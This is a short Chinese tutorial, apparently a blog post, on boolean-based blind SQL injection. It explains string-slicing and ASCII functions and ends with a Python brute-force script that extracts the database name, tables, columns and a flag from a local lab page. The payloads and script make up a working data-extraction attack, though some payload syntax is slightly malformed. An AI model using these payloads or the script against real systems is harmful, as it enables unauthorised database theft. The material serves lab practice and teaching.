布尔盲注步骤

使用场景:

在没有数据回显 的情况下,是不显示具体内容,但会显示有结果或没结果的一种二分的方式(例如:显示用户名或密码错误)

通常逐个爆破猜解,效率偏低

思路:利用回显的不同,推测sql语句执行的结果是true还是false

在and后的判断条件稍作更改

例: select * from users where id='1' and (select length(database())=1)#

过程:

获取数据库名的具体信息:

复制代码
left(a,b)从左侧截取 a 的前 b 位:left(select database(),1)>'s'

substr(a,b,c)从b位置开始,截取字符串a的c长度

mid(a,b,c)从位置b开始,截取a字符串的c位

ascii()将某个字符转换为ascii值:ascii(substr(user),1,1))=101"#

脚本

python 复制代码
import requests
url = "http://127.0.0.1/sqli/3.php?id=0 or ascii(substr(select database()),%s,1))=%d--+"
url = "http://127.0.0.1/sqli/3.php?id=0 or ascii(substr(select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1))=%d--+"
url = "http://127.0.0.1/sqli/3.php?id=0 or ascii(substr(select group_concat(column_name) from information_schema.columns where table_name='answer'),%s,1))=%d--+"
url = "http://127.0.0.1/sqli/3.php?id=0 or ascii(substr(group_concat(flag) from answer),%s,1))=%d--+"
result = ""

for i in range(1,100):
    for j in range(33,127):
        payload = url%(i,j)
        s = requests.get(url=payload)
        if "查询" in s.text:
            result += chr(j)
            print(result)
            break
print(result)

**
i代表依次从1-100位,遍历所得结果字符串的第i位
j从33-127包含了ascii中所有可见字符,代表逐个比对判断第n个字符是哪个字符
url%(i,j)其中%代表将()中的字符替换到url表达式的占位符中
requests.get 使用requests库中的get方法,发送get请求到url中
chr()函数将ascii码字符转换成字符串
相关推荐
心丑姑娘9 小时前
使用ClickHouse时的劣质SQL样例
数据库·sql·clickhouse
什么都不会的Tristan9 小时前
redis篇
数据库·redis·缓存
only°夏至besos10 小时前
MySQL 运维实战:常见问题排查与解决方案
运维·数据库·mysql
液态不合群10 小时前
并发,并行与异步
数据库
Dxy123931021610 小时前
MySQL如何批量更新数据:高效方法与最佳实践
数据库·mysql
dishugj10 小时前
【Oracle】 Flashback(闪回)技术实操指南
数据库·oracle·flashback
白山云北诗10 小时前
中小企业如何做好企业官网的网络安全
网络·数据库·web安全·ddos·cc·企业网络安全
lkbhua莱克瓦2410 小时前
进阶-存储对象2-存储过程上
java·开发语言·数据库·sql·mysql
码农胖虎-java10 小时前
【AI】向量数据库选型实战:pgvector vs Milvus vs Qdrant
数据库·milvus·pg
Insist75310 小时前
KingbaseES 集群运维案例之 --- 集群架构拆分为单实例操作
网络·数据库·oracle